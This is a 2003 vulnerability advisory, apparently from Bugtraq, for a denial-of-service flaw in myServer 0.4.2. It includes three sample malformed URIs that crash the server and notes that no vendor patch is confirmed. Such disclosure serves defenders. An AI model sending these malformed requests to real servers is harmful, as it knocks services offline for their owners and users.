MyServer Malformed URI Denial Of Service Vulnerability

Bugtraq ID:	8120
Class:	Failure to Handle Exceptional Conditions
CVE:
Remote:	Yes
Local:	No
Published:	Jul 07 2003 12:00AM
Updated:	Jul 07 2003 12:00AM
Credit:	Discovery of this issue is credited to "morning_wood" <[email protected]>.
Vulnerable:	myServer myServer 0.4.2
Not Vulnerable:

MyServer Malformed URI Denial Of Service Vulnerability

The following examples were submitted:

http://www.example.com/cgi-bin/math_sum.mscgi?a=
http://www.example.com/cgi-bin/math_sum.mscgi??=
http://www.example.com/cgi-bin/post.mscgi???

MyServer Malformed URI Denial Of Service Vulnerability

Solution:
It has been alleged that this issue is fixed in the CVS tree and will be addressed in version 0.4.3. This has not been confirmed.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

MyServer Malformed URI Denial Of Service Vulnerability

References:

• myServer Home Page (myServer)
  
• myServer - Remote Denial of Service ("morning_wood" )